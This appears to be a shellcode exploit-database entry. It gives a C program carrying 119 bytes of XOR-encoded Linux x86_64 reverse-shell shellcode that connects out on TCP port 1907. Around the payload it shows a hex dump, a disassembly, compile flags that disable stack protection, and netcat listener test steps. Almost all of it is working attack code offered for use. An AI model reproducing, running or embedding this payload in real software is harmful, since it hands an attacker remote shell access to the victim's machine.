Linux/x64 - Reverse (0.0.0.0:1907/TCP) Shell Shellcode (119 Bytes)

/* 
reverse shell tcp (1907) port shellcode C language - Linux/x86_64
 
    Author : Kağan Çapar
    contact: [email protected]
    shellcode len : 119 bytes
    compilation: gcc -fno-stack-protector -z execstack reverse-shell.c -o reverse-shell
     
    Test:
    run your machine: nc -vlp 1907
    and run exploit (./reverse-shell)
    check shellcode raw and test ls, who, pwd command.
 
 
<shellproccod>:       0x48    0x31    0xc9    0x48    0x81    0xe9    0xf6    0xff
<shellproccod+8>: 0xff    0xff    0x48    0x8d    0x05    0xef    0xff    0xff
<shellproccod+16>:    0xff    0x48    0xbb    0xdf    0x4b    0x06    0xb1    0x71
<shellproccod+24>:    0x71    0x46    0x28    0x48    0x31    0x58    0x27    0x48
<shellproccod+32>:    0x2d    0xf8    0xff    0xff    0xff    0xe2    0xf4    0xb5
<shellproccod+40>:    0x62    0x5e    0x28    0x1b    0x73    0x19    0x42    0xde
<shellproccod+48>:    0x15    0x09    0xb4    0x39    0xe6    0x0e    0x91    0xdd
<shellproccod+56>:    0x4b    0x01    0xc2    0x0e    0x71    0x46    0x29    0x8e
<shellproccod+64>:    0x03    0x8f    0x57    0x1b    0x61    0x1c    0x42    0xf5
<shellproccod+72>:    0x13    0x09    0xb4    0x1b    0x72    0x18    0x60    0x20
<shellproccod+80>:    0x85    0x6c    0x90    0x29    0x7e    0x43    0x5d    0x29
<shellproccod+88>:    0x21    0x3d    0xe9    0xe8    0x39    0xfd    0x07    0xbd
<shellproccod+96>:    0x22    0x68    0x9e    0x02    0x19    0x46    0x7b    0x97
<shellproccod+104>:   0xc2    0xe1    0xe3    0x26    0x39    0xcf    0xce    0xd0
<shellproccod+112>:   0x4e    0x06    0xb1    0x71    0x71    0x46    0x28
 
     
assembly code is below:
 
xor    %rcx,%rcx
sub    $0xfffffffffffffff6,%rcx
lea    -0x11(%rip),%rax                 # 0x555555558060 <shellproccod>
movabs $0x28467171b1064bdf,%rbx
xor    %rbx,0x27(%rax)
sub    $0xfffffffffffffff8,%rax
loop   0x55555555807b <shellproccod+27>
mov    $0x62,%ch
pop    %rsi
sub    %bl,(%rbx)
jae    0x5555555580a7 <shellproccod+71>
rex.X ficoms -0x19c64bf7(%rip)          # 0x55553b8f349e
xchg   %eax,%ecx
fisttpll 0x1(%rbx)
retq   $0x710e
rex.RX sub %r9d,0x1b578f03(%rsi)
(bad)  
sbb    $0x42,%al
cmc    
adc    (%rcx),%ecx
mov    $0x1b,%ah
jb     0x5555555580c6 <shellproccod+102>  
and    %al,0x7e29906c(%rbp)
rex.XB pop %r13
sub    %esp,(%rcx)
cmp    $0xfd39e8e9,%eax  
mov    $0x29e6822,%ebp
sbb    %eax,0x7b(%rsi)
xchg   %eax,%edi
retq   $0xe3e1
es cmp %ecx,%edi 
rorb   0x6(%rsi)
mov    $0x71,%cl
jno    0x55555555811c
sub    %al,(%rax)
    
 
*/
 
#include <stdio.h>
#include <string.h>
 
unsigned char shellproccod[] = \
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xdf\x4b\x06\xb1\x71\x71\x46\x28\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xb5\x62\x5e\x28\x1b\x73"
"\x19\x42\xde\x15\x09\xb4\x39\xe6\x0e\x91\xdd\x4b\x01\xc2\x0e"
"\x71\x46\x29\x8e\x03\x8f\x57\x1b\x61\x1c\x42\xf5\x13\x09\xb4"
"\x1b\x72\x18\x60\x20\x85\x6c\x90\x29\x7e\x43\x5d\x29\x21\x3d"
"\xe9\xe8\x39\xfd\x07\xbd\x22\x68\x9e\x02\x19\x46\x7b\x97\xc2"
"\xe1\xe3\x26\x39\xcf\xce\xd0\x4e\x06\xb1\x71\x71\x46\x28";
 
int main()
{
    printf("Shellcode len: %d\n", strlen(shellproccod));
     
    int (*ret)() = (int(*)())shellproccod;
     
    ret();
     
}